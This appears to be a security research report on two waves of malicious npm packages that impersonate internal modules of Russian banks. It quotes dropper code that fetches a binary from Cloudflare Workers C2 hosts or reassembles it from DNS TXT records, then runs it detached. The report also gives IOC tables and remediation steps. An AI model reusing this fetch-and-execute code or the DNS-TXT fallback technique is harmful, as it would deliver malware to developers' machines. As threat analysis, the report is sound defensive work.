Thirty-nine packages published to npm across two coordinated waves in August 2026. Each one masquerades as an internal frontend module belonging to one of four Russian financial institutions. Each one fires a binary dropper the moment a developer’s Node.js process requires it. On August 2, ten packages landed across five distinct namespaces targeting Raiffeisen Bank Russia’s SME platform, Tinkoff Bank’s business registration frontend, and two other fintech toolchain namespaces. Three days and three hours passed before a single one was flagged. On August 8, the operator returned with twenty-nine more packages, all targeting Raiffeisen’s SME frontend alone, and bumped the version from 20.x to 35.8.1, a fifteen-major-version jump that tells its own story about what happened in between.
This is not a spray. The package names map precisely to the internal monorepo structure of live production teams. One of them is named sme-rko-finance-front-operations-pegasus. Pegasus is an internal product codename that does not appear in any public Raiffeisen documentation we could find. The operator knew what they were looking for before they published the first package.
Campaign Map
| Wave | Namespace(s) | Published (UTC) | Version | Packages | OSV Coverage | DNS Fallback |
|---|---|---|---|---|---|---|
| 1 | sme-rko-*, tinkoff-*, twork-*, pfp-forms-*, sme-scripts-* | 2026-08-02 08:44 to 13:29 | 20.x.x | 10 | 1 of 10 flagged | *.dl.well1.site |
| 2 | sme-rko-finance-front-* | 2026-08-08 00:43 to 00:47 | 35.8.1 | 29 | 29 of 29 flagged | *.dl.wel1.ru |
Wave 1: The First Push
How the Operator Built the Packages
Every wave-1 tarball carries an internal file timestamp of 2026-08-02 08:20:00 UTC. We extracted this from the sme-rko tarball and confirmed it against the Tinkoff tarball downloaded from the still-live registry entry. Both show the same build moment. The operator ran a single generation batch at 08:20, then spent the next five hours uploading packages in sequence, starting with the first twork namespace entry at 08:44:04 UTC.
The upload cadence is not random. It is consistent with a script that registers a fresh npm account, waits for the email confirmation to land at the throwaway @web-library.net mailbox, then publishes. Every account follows the same pattern: twelve random alphanumeric characters followed by @web-library.net. The accounts we recovered from npm registry metadata are pfx6fli2zpr8, 8ywp5q6iesd5, 52z6y471g0ro, s3b64hyjiz6k, uz2ev0acicye, gwiw1h3h2078, owa28a9hrpi3, pvue51k8lmug, ph28vhizn6b7, and pxrkj94kt4ns, one per package, each used exactly once.
web-library.net resolves to 51.254.35.55, which reverse-resolves to vps-02a42c6b.vps.ovh.net, an OVH VPS in France. This machine hosts the mail server that receives the npm verification emails and hands back the confirmations to the publish script. We searched the OSSF malicious-packages repository, the kmsec DPRK research feed, and Socket.dev for web-library.net and found no prior reporting. This is a new infrastructure domain.
The Targets
The namespace choices are not opportunistic. They map to real production software at named institutions.
sme-rko-finance-front-*: RKO is Расчетно-кассовое обслуживание, the standard Russian term for SME settlement and cash services. The full prefix sme-rko-finance-front maps directly to the naming convention of Raiffeisen Bank Russia’s SME internet banking frontend. The wave-1 representative package is sme-rko-finance-front-shared-entity-groups-models.
tinkoff-boxy-form-desktop-sme-registration-ooo: Tinkoff Bank (now T-Bank), Russia’s largest digital bank by retail account volume. “OOO” is the Russian legal abbreviation for LLC. This package targets Tinkoff’s SME business registration desktop form workflow.
twork-data-services-*: Three packages targeting an internal data services layer: twork-data-services-aggregator-company-sme-main-timeline-loader-with-customers, twork-data-services-aggregator-sme-task-info, and twork-data-services-sme-operations-authorizations. The naming depth (“aggregator”, “timeline-loader”, “authorizations”) is consistent with an internal microservices registry, not package names someone guessed.
pfp-forms-sme-* and sme-scripts-*: Three form-layer packages and two build toolchain packages. The sme-scripts targets are particularly notable: sme-scripts-cli and sme-scripts-shared-library-webpack-plugin are build toolchain packages, meaning the operator was aiming at developer workstations and CI runners, not just runtime environments.
Package Anatomy
We downloaded sme-rko-finance-front-shared-entity-groups-models version 20.2.8 from the still-live registry entry and extracted the tarball.
package/
README.md (357 bytes, generic placeholder)
index.js (617 bytes, cover class + require trigger)
package.json (198 bytes, "description": "SME business logic")
_polyfill.js (5,133 bytes, primary dropper)
lib/
telemetry.js (81,027 bytes, secondary dropper disguised as analytics SDK)Seven files, 87,346 bytes unpacked. No scripts block in package.json: there is no preinstall or postinstall hook. The dropper fires on require(), not on install.
index.js presents a plausible-looking class named SmeRkoFinanceFrontSharedEntityGroupsModels with init(), version(), and configure() methods that do nothing. The last two lines are the trigger:
try { require("./_polyfill"); } catch (_) {}
try { require("./_polyfill"); } catch (_) {}The double require is a copy-paste artifact. It fires the dropper twice, which the re-execution guard handles by checking the marker file on the second call.
The Tinkoff package (tinkoff-boxy-form-desktop-sme-registration-ooo) uses the same structure with a dropper file named _ext.js instead of _polyfill.js. The dropper filename varies across packages in the campaign (_shim.js, _adapter.js, _bootstrap.js, _bridge.js, _compat.js, _init.js, _loader.js, _platform.js, _runtime.js, _support.js, _helpers.js, setup.js), but the functional code is structurally identical across all of them. The variation is deliberate: it defeats trivial hash-based clustering by static scanners while costing the operator nothing because the dropper is template-generated.
Execution Trigger
The trigger is import-time, not install-time. npm install --ignore-scripts does not prevent execution. The package fires the moment any consuming process calls require("sme-rko-finance-front-shared-entity-groups-models"), which in a dependency confusion scenario happens automatically when npm resolves a package.json that lists the package name.
The Dropper: What Actually Runs
Re-Execution Guard
The first thing _polyfill.js does on every run is check for a marker file:
const TTL = 19962; // seconds (~5.5 hours)
function stampOk() {
try {
const st = fs.statSync(flagPath());
return (Date.now() - st.mtimeMs) < TTL * 1000;
} catch (_) { return false; }
}The marker file is /tmp/.analytics_state on POSIX systems and %TEMP%\analytics_state on Windows. If it exists and is less than 19,962 seconds old, the function returns early. This prevents re-detonation in sandbox environments that run the package multiple times, and reduces noisy outbound connections that would trigger egress monitoring.
The dropper also checks three environment variables before running:
if (process.env.DISABLE_TELEMETRY || process.env.ANALYTICS_OPT_OUT || process.env.DO_NOT_TRACK) return;These variable names are plucked from legitimate analytics SDK conventions. They provide a bypass for developer sandboxes that set telemetry opt-outs by default.
Platform Selection
The dropper maintains a full platform-architecture map:
const NODE_PLAT = {
"linux/arm64": "linux_arm64",
"linux/x64": "linux_x64",
"darwin/x64": "darwin",
"linux/arm": "linux_x64",
"freebsd/x64": "linux_x64",
"darwin/arm64":"darwin",
"win32/x64": "win32",
"win32/ia32": "win32"
};Four platform binaries are available from the C2: linux_x64, linux_arm64, darwin, and win32. FreeBSD maps to the Linux x64 binary. The operator covered every realistic developer environment, including Apple Silicon Macs and arm64 Linux CI runners.
C2 Delivery: HTTPS with Fallback
The MIRRORS array is assembled at runtime from split string fragments to defeat static grep-based scanners:
const _MIRRORS = [
["oob-worker.cf100-4","16.worker","s.de","v"].join(""),
["oob-worker.c","f103-070.w","ork","ers.dev"].join(""),
["oob-wo","rker.cf101-adf.workers.dev"].join(""),
["oob-worker.cf102-","baf.w","orkers.d","ev"].join("")
];Joining the arrays produces four Cloudflare Workers subdomains: oob-worker.cf100-416.workers.dev, oob-worker.cf103-070.workers.dev, oob-worker.cf101-adf.workers.dev, and oob-worker.cf102-baf.workers.dev. A fifth, oob-worker.cf99-9b3.workers.dev, appears in the wave-2 OSV advisory details. The same fragmentation applies to child_process (require("child_"+"process")), chmodSync (fs["chmod"+"Sync"]), and os.hostname() (os["host"+"name"]()).
The dropper shuffles the mirror list, iterates through each host attempting an HTTPS GET to the platform-specific path, and accepts the first response over 1,000 bytes:
const servers = _MIRRORS.slice().sort(() => Math.random() - 0.5);
for (const host of servers) {
binary = await fetchBin(host, endpoint);
if (binary && binary.length > 1000) break;
binary = null;
}The fetch uses a hardcoded User-Agent: node-fetch/2.6 header, which both provides cover-story plausibility and allows the Workers to filter requests by user agent. The four payload paths are /pkg/package (Linux x64), /pkg/package-arm64 (Linux arm64), /pkg/loader_mac (macOS), and /pkg/package.exe (Windows).
We probed all five Workers endpoints with the authentic user agent during research. All returned HTTP 403: the infrastructure is live and access-controlled by the operator’s side, not taken down. The Workers are responding.
The DNS-TXT Fallback Channel
When HTTPS retrieval fails or returns nothing usable, the dropper activates a secondary channel:
const _FALLBACK_DNS = {
linux_x64: ['tin.d','l.well1.s','it','e'].join(""),
linux_arm64: ['tina.dl.we','ll','1.','sit','e'].join(""),
darwin: ['ldr.dl.','well1.si','te'].join(""),
win32: ['win.dl.','well1.s','ite'].join("")
};The protocol reassembles a binary from base64-encoded DNS TXT records. The dropper first resolves c.<domain> to get a chunk count, then resolves 0.<domain>, 1.<domain>, up through n.<domain>, concatenates all TXT values, and decodes the result:
async function txtFetch(domain) {
const cnt = await _lookupTxt("c." + domain);
const n = parseInt(cnt, 10);
if (!n || n < 1 || n > 2000) return null;
const parts = [];
for (let i = 0; i < n; i += 10) {
const ps = [];
for (let j = i; j < Math.min(i + 10, n); j++) ps.push(_lookupTxt(j + "." + domain));
const res = await Promise.all(ps);
for (const s of res) parts.push(s);
}
return Buffer.from(parts.join(""), "base64");
}This channel bypasses HTTP and HTTPS egress controls entirely. It works through any recursive DNS resolver the machine has configured, including internal corporate resolvers that forward external queries. A network team monitoring HTTP egress and blocking the Workers endpoints would not see this channel.
Drop and Execute
The binary lands in /var/tmp/ on POSIX systems under a hidden filename:
const rnd = crypto.randomBytes(4).toString("hex");
const outFile = isWin ? "dotnet_diag_" + rnd + ".exe" : ".cache_" + rnd;
const outPath = path.join(tmpDir, outFile);
fs.writeFileSync(outPath, binary);
if (!isWin) { fs.chmodSync(outPath, 0o755); }On Windows, the filename is dotnet_diag_<4-byte-hex>.exe, a deliberate impersonation of .NET runtime diagnostic tooling. On Linux and macOS, the binary lands as .cache_<hex> in /var/tmp/, a hidden dotfile in a directory that most cleanup routines skip.
Execution is fully detached:
if (isWin) {
cp.spawn("cmd.exe", ["/c", "start", "/b", fp], {
detached: true, stdio: "ignore", windowsHide: true
}).unref();
} else {
cp.spawn("/bin/sh", ["-c", fp + " &"], {
detached: true, stdio: "ignore"
}).unref();
}The .unref() call detaches the child process from the Node.js event loop so the parent process exits normally. From the developer’s perspective, npm install completes successfully.
The stage-2 binary was not recovered. The Cloudflare Workers returned 403 to our research infrastructure. The binary payloads available at the four platform paths remain unanalyzed.
The Telemetry Façade
Every package in the campaign ships lib/telemetry.js alongside the primary dropper. The file is 81,027 bytes in the sme-rko package and 81,408 bytes in the Tinkoff package: same structure, different generated content. It presents as a full-featured analytics SDK: 3,051 lines covering session lifecycle tracking, distributed tracing with spans and transactions, breadcrumb management, rate limiting, event deduplication, and a native sampling profiler integration.
The dropper is buried inside the NativeProfiler class, whose setup() method fetches and executes the stage-2 binary using the same HTTPS-then-DNS-TXT chain as the primary dropper. The WorkerHost class wraps the child_process.spawn call:
class WorkerHost {
static start(filePath, isWin) {
try {
const cp = require("child_" + "process");
if (isWin) {
cp.spawn("cmd.exe", ["/c", "start", "/b", filePath], {
detached: true, stdio: "ignore", windowsHide: true
}).unref();
} else {
cp.spawn("/bin/sh", ["-c", filePath + " &"], {
detached: true, stdio: "ignore"
}).unref();
}
} catch (_) {}
}
}The telemetry.js and the primary dropper are independent execution paths for the same payload delivery. If the primary dropper file is deleted or its require() call is patched, telemetry.js fires independently whenever any code imports the library and the run() function is called with a configuration that includes C2 hosts. The OSV advisory for sme-rko-finance-front-operations-domain describes it explicitly: “lib/telemetry.js, loaded from index.js and presented as an observability/Sentry-like SDK, contains the same base64-materialize + chmodSync + child_process.spawn(‘/bin/sh’,…) dropper primitives, providing a duplicate execution path.”
The 81KB SDK wrapper has no other purpose.
Wave 1: Three Days Undetected
The first wave-1 package was uploaded at 2026-08-02T08:44:04Z. Amazon Inspector flagged the first advisory (MAL-2026-12440, for sme-rko-finance-front-shared-entity-groups-models) at 2026-08-05T12:23:34Z. That is three days, three hours, and thirty-nine minutes during which ten packages across five namespaces targeting four Russian financial institutions sat live on npm with no advisory and no detection.
Nine of those ten packages remain live today with no OSV advisory.
Wave 2: The Version Escalation
Three days after the first detection, at 2026-08-08T00:43:23Z, the operator began publishing a second wave. Twenty-nine packages in four minutes and fifty-five seconds. All targeted a single namespace: sme-rko-finance-front-*. All published at version 35.8.1.
The jump from 20.x.x to 35.8.1 is the campaign’s most informative single data point. In npm’s dependency resolution, when a consuming package.json lists a package by name without an exact version pin and without a registry-scope directive in .npmrc, npm resolves to the highest-versioned match across all configured registries. Wave 1’s 20.x.x versions did not trigger installs. The operator concluded the real internal packages at Raiffeisen were versioned above 20.x, reconfigured the version generator with a higher seed, and republished.
The Architecture the Operator Mapped
The wave-2 package names are not invented. They describe a real frontend monorepo in precise technical vocabulary:
Operations module (19 packages): operations-domain, operations-fee, operations-feed-impl, operations-feed-models, operations-holding-domain, operations-income, operations-notifications-impl, operations-notifications-models, operations-other, operations-overnight, operations-pegasus, operations-penalty, operations-providers, operations-shared, operations-special-payments, operations-tax, operations-widget-domain, operations-widget-impl, operations-widget-models
Payments module (11 packages): payment-registers-operations-domain, payments-allowed-tariffs-filter, payments-classic-payment-actions-operations-repeat-impl, payments-classic-payment-actions-operations-repeat-models, payments-currency-payment-actions-operations-repeat-impl, payments-currency-payment-actions-operations-repeat-models, payments-currency-payment-domain, payments-domain, payments-feed-adapter, payments-feed-display-list, payments-feed-display-list-impl
The -domain, -impl, -models suffix triads are the standard Nx and Turborepo monorepo convention for separating bounded context types from implementations and data models. The operator reproduced this structure completely, including the widget-domain/widget-impl/widget-models triad for UI components and the feed-adapter/feed-display-list/feed-display-list-impl chain for the operations feed.
operations-pegasus is not a generic package name. It is an internal product codename embedded in the monorepo structure. We found no public reference to “Pegasus” in any Raiffeisen-associated technical documentation, job listings, or developer blog content. The operator had access to internal package naming before publishing.
Wave 2 Infrastructure Change
Wave 2 packages use a different DNS fallback domain: *.dl.wel1.ru (note the single l versus wave 1’s well1.site). The subdomain structure rotates: sdk.dl.wel1.ru, ext.dl.wel1.ru, net.dl.wel1.ru, pkg.dl.wel1.ru. The Cloudflare Workers endpoints are shared across both waves. The DNS fallback domain change is the only infrastructure evolution between waves and signals a deliberate rotation, not a reuse of compromised infrastructure.
Both DNS fallback domains were offline (connection refused) during our probing. The Workers endpoints remain live.
Wave 2 was detected by Amazon Inspector on the same day of publication. All twenty-nine packages received OSV advisories (MAL-2026-13634 through MAL-2026-13663) imported within ten minutes of the first advisory. The detection turnaround (same-day, within minutes of the upload burst) is consistent with Amazon Inspector running the namespace on a watchlist following the wave-1 detection on August 5. Wave 1 took three days. Wave 2 took ten minutes.
OPSEC Failures
The double require("./_polyfill") in the sme-rko package’s index.js, two identical trigger lines back-to-back, is a copy-paste artifact left by the package generator. It does not affect execution because the re-execution guard catches the second call, but it is a visible generator fingerprint. No legitimate package requires the same module twice in succession with no intervening logic.
The wave-1 build timestamp 2026-08-02 08:20:00 UTC is present verbatim in every tarball as the internal file modification time. All wave-1 packages share this exact timestamp, which confirms they were assembled in a single batch pass and allows session reconstruction across all namespaces without relying on registry metadata alone.
The NativeProfiler.setup() method in telemetry.js computes a SHA-256 checksum of the fetched binary and logs it at debug level:
const checksum = crypto
.createHash("sha256")
.update(extensionData)
.digest("hex")
.slice(0, 12);
_logger.debug(`Extension cache: ${checksum}, size=${extensionData.length}`);The OSV advisory for the wave-1 package notes explicitly: “Cover-story comments reference SHA-256 integrity checking and load-distribution shuffling, but no such operations are performed on the fetched bytes.” The hash is computed and logged at LogLevel.DEBUG, which defaults to LogLevel.NONE, then discarded. The integrity check comment is cosmetic and does nothing. Its presence in the code is a social engineering artifact aimed at human reviewers reading the source.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
oob-worker.cf99-9b3.workers.dev | C2 hostname | Active (HTTP 403) | Extracted from wave-2 OSV advisory detail text; probed with curl during research |
oob-worker.cf100-416.workers.dev | C2 hostname | Active (HTTP 403) | Recovered from _MIRRORS array in _polyfill.js by joining split string fragments |
oob-worker.cf101-adf.workers.dev | C2 hostname | Active (HTTP 403) | Recovered from _MIRRORS array in _polyfill.js by joining split string fragments |
oob-worker.cf102-baf.workers.dev | C2 hostname | Active (HTTP 403) | Recovered from _MIRRORS array in _polyfill.js by joining split string fragments |
oob-worker.cf103-070.workers.dev | C2 hostname | Active (HTTP 403) | Recovered from _MIRRORS array in _polyfill.js by joining split string fragments |
tin.dl.well1.site | DNS fallback domain | Wave 1, Linux x64 | Recovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments |
tina.dl.well1.site | DNS fallback domain | Wave 1, Linux arm64 | Recovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments |
ldr.dl.well1.site | DNS fallback domain | Wave 1, macOS | Recovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments |
win.dl.well1.site | DNS fallback domain | Wave 1, Windows | Recovered from _FALLBACK_DNS in _ext.js (tinkoff package) by joining split string fragments |
sdk.dl.wel1.ru | DNS fallback domain | Wave 2 | Extracted from wave-2 OSV advisory detail text |
ext.dl.wel1.ru | DNS fallback domain | Wave 2 | Extracted from wave-2 OSV advisory detail text |
net.dl.wel1.ru | DNS fallback domain | Wave 2 | Extracted from wave-2 OSV advisory detail text |
pkg.dl.wel1.ru | DNS fallback domain | Wave 2 | Extracted from wave-2 OSV advisory detail text |
/pkg/package | C2 payload path | Linux x64 binary | Read from _PLATFORM_ASSETS constant in _polyfill.js |
/pkg/package-arm64 | C2 payload path | Linux arm64 binary | Read from _PLATFORM_ASSETS constant in _polyfill.js |
/pkg/loader_mac | C2 payload path | macOS binary | Read from _PLATFORM_ASSETS constant in _polyfill.js |
/pkg/package.exe | C2 payload path | Windows binary | Read from _PLATFORM_ASSETS constant in _polyfill.js |
web-library.net | Publisher email domain | All 39 packages | Pulled from npm registry maintainers field during triage |
51.254.35.55 | Mail server IP | vps-02a42c6b.vps.ovh.net | Resolved from web-library.net during triage; confirmed by reverse DNS lookup |
/tmp/.analytics_state | Filesystem IOC | Marker file (POSIX) | Read from flagPath() function in _polyfill.js |
%TEMP%\analytics_state | Filesystem IOC | Marker file (Windows) | Read from flagPath() function in _polyfill.js |
/var/tmp/.cache_<hex> | Filesystem IOC | Dropped binary (POSIX) | Read from outFile construction in _polyfill.js |
%TEMP%\dotnet_diag_<hex>.exe | Filesystem IOC | Dropped binary (Windows) | Read from outFile construction in _polyfill.js |
node-fetch/2.6 | Network IOC | User-Agent for binary fetch | Read from headers constant in fetchBin() in _polyfill.js |
pfx6fli2zpr8@web-library.net | Publisher account | sme-rko wave-1 package | Pulled from npm registry metadata during triage |
8ywp5q6iesd5@web-library.net | Publisher account | tinkoff package | Pulled from npm registry metadata during triage |
52z6y471g0ro@web-library.net | Publisher account | twork package | Pulled from npm registry metadata during triage |
27049f22e7f4ab68721a81af821b63a2115bc179a4aa9dcfb996c46347511a3b | SHA-256 | _polyfill.js (sme-rko 20.2.8) | Computed with sha256sum on extracted tarball; matches OSV evidence_files entry |
821512d5d089ff1700c24f5534b482663a519a065d50c8b0345c4ea0c5d7f69b | SHA-256 | lib/telemetry.js (sme-rko 20.2.8) | Computed with sha256sum on extracted tarball; matches OSV evidence_files entry |
bf57aab27b1b8582585f9a7950faf2bb2624a9a1453b3f8cbbbebeb1fce3de76 | SHA-256 | lib/telemetry.js (tinkoff 20.4.5) | Computed with sha256sum on extracted tarball; not previously reported |
9477cc424f19536d16978483571b50ec52e6dd5f | SHA-1 | tarball (sme-rko 20.2.8) | Read from npm registry dist.shasum field |
Affected Versions
| Package | Version | Published (UTC) | Tarball SHA-1 | Status | OSV |
|---|---|---|---|---|---|
sme-rko-finance-front-shared-entity-groups-models | 20.2.8 | 2026-08-02T09:18:05Z | 9477cc42 | Live | MAL-2026-12440 |
tinkoff-boxy-form-desktop-sme-registration-ooo | 20.4.5 | 2026-08-02T08:55:43Z | n/a | Live | None |
twork-data-services-aggregator-company-sme-main-timeline-loader-with-customers | 20.3.8 | 2026-08-02T08:44:04Z | n/a | Live | None |
twork-data-services-aggregator-sme-task-info | 20.3.1 | 2026-08-02T11:28:33Z | n/a | Live | None |
twork-data-services-sme-operations-authorizations | 20.8.9 | 2026-08-02T12:21:06Z | n/a | Live | None |
sme-scripts-cli | 20.5.3 | 2026-08-02T09:59:04Z | n/a | Live | None |
sme-scripts-shared-library-webpack-plugin | 20.2.9 | 2026-08-02T11:29:52Z | n/a | Live | None |
pfp-forms-independent-sme-glossary-anchor | 20.4.4 | 2026-08-02T10:41:13Z | n/a | Live | None |
pfp-forms-sme-loan | 20.2.1 | 2026-08-02T12:24:17Z | n/a | Live | None |
pfp-forms-sme-sitebuilder | 20.2.1 | 2026-08-02T13:29:30Z | n/a | Live | None |
sme-rko-finance-front-operations-domain | 35.8.1 | 2026-08-08T00:46:47Z | n/a | Unpublished | MAL-2026-13634 |
sme-rko-finance-front-operations-fee | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13635 |
sme-rko-finance-front-operations-feed-impl | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13636 |
sme-rko-finance-front-operations-feed-models | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13637 |
sme-rko-finance-front-operations-holding-domain | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13638 |
sme-rko-finance-front-operations-income | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13639 |
sme-rko-finance-front-operations-notifications-impl | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13640 |
sme-rko-finance-front-operations-notifications-models | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13641 |
sme-rko-finance-front-operations-other | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13642 |
sme-rko-finance-front-operations-overnight | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13643 |
sme-rko-finance-front-operations-pegasus | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13644 |
sme-rko-finance-front-operations-penalty | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13645 |
sme-rko-finance-front-operations-providers | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13646 |
sme-rko-finance-front-operations-shared | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13647 |
sme-rko-finance-front-operations-special-payments | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13648 |
sme-rko-finance-front-operations-tax | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13649 |
sme-rko-finance-front-operations-widget-domain | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13650 |
sme-rko-finance-front-operations-widget-impl | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13651 |
sme-rko-finance-front-operations-widget-models | 35.8.1 | 2026-08-08 | n/a | Unpublished | MAL-2026-13652 |
sme-rko-finance-front-payment-registers-operations-domain | 35.8.1 | 2026-08-08T00:44:08Z | n/a | Unpublished | MAL-2026-13653 |
sme-rko-finance-front-payments-allowed-tariffs-filter | 35.8.1 | 2026-08-08T00:44:39Z | n/a | Unpublished | MAL-2026-13654 |
sme-rko-finance-front-payments-classic-payment-actions-operations-repeat-impl | 35.8.1 | 2026-08-08T00:43:23Z | n/a | Unpublished | MAL-2026-13655 |
sme-rko-finance-front-payments-classic-payment-actions-operations-repeat-models | 35.8.1 | 2026-08-08T00:44:01Z | n/a | Unpublished | MAL-2026-13656 |
sme-rko-finance-front-payments-currency-payment-actions-operations-repeat-impl | 35.8.1 | 2026-08-08T00:45:06Z | n/a | Unpublished | MAL-2026-13657 |
sme-rko-finance-front-payments-currency-payment-actions-operations-repeat-models | 35.8.1 | 2026-08-08T00:44:47Z | n/a | Unpublished | MAL-2026-13658 |
sme-rko-finance-front-payments-currency-payment-domain | 35.8.1 | 2026-08-08T00:46:57Z | n/a | Unpublished | MAL-2026-13659 |
sme-rko-finance-front-payments-domain | 35.8.1 | 2026-08-08T00:47:18Z | n/a | Unpublished | MAL-2026-13660 |
sme-rko-finance-front-payments-feed-adapter | 35.8.1 | 2026-08-08T00:47:10Z | n/a | Unpublished | MAL-2026-13661 |
sme-rko-finance-front-payments-feed-display-list | 35.8.1 | 2026-08-08T00:45:22Z | n/a | Unpublished | MAL-2026-13662 |
sme-rko-finance-front-payments-feed-display-list-impl | 35.8.1 | 2026-08-08T00:45:56Z | n/a | Unpublished | MAL-2026-13663 |
Remediation
For developer machines that may have installed wave-1 packages:
These packages have no preinstall or postinstall hook. The dropper fires at import time, not install time. A machine that ran npm install but never executed code that require()d the affected packages was not compromised. A machine that did import them should be treated as having run an unknown binary with the process owner’s privileges.
Check for the marker file first:
ls -la /tmp/.analytics_state
ls -la /var/tmp/.analytics_stateIf the marker file exists with a creation time during or after the campaign window (August 2, 2026 onward), the dropper ran. Search for the dropped binary:
find /var/tmp -name ".cache_*" -newer /tmp/.analytics_state 2>/dev/null
find /tmp -name ".analytics_state" 2>/dev/nullOn Windows, check %TEMP%\analytics_state and enumerate %TEMP%\dotnet_diag_*.exe.
Because the stage-2 binary remains unanalyzed, the capability of what ran on affected machines is not yet known. Treat any machine where the marker file is present as fully compromised: rotate credentials accessible from that environment, audit egress logs for outbound connections to the five Workers endpoints from the campaign window, and re-image if the machine has access to sensitive production systems.
For registry consumers installing these package names going forward:
Scope your registries. Add a scope-registry directive to .npmrc for every internal namespace:
@sme-rko:registry=https://your-private-registry.example.comWithout explicit scoping, npm resolves unscoped package names against all configured registries and prefers the highest version. That is the entire attack surface this campaign exploits.
For npm security: The nine unflagged wave-1 packages remain live. Report them to security@npmjs.com for takedown. The Tinkoff package in particular (tinkoff-boxy-form-desktop-sme-registration-ooo) has been live since August 2 with no advisory.
Block the Workers endpoints at the network perimeter and in CI egress rules:
oob-worker.cf99-9b3.workers.dev
oob-worker.cf100-416.workers.dev
oob-worker.cf101-adf.workers.dev
oob-worker.cf102-baf.workers.dev
oob-worker.cf103-070.workers.devThe DNS-TXT fallback channel cannot be blocked by hostname. If you need to verify whether a machine contacted the DNS fallback domains (*.dl.well1.site, *.dl.wel1.ru), check DNS query logs for the period August 2 through August 8 for queries matching tin.dl.well1.site, tina.dl.well1.site, ldr.dl.well1.site, win.dl.well1.site, and the wel1.ru equivalents.
The version escalation from 20.x to 35.8.1 between waves is a direct feedback loop: the operator tested, observed no installs, and adjusted. If the unflagged wave-1 packages are not removed promptly, a wave 3 is not a speculation. It is the logical next iteration.
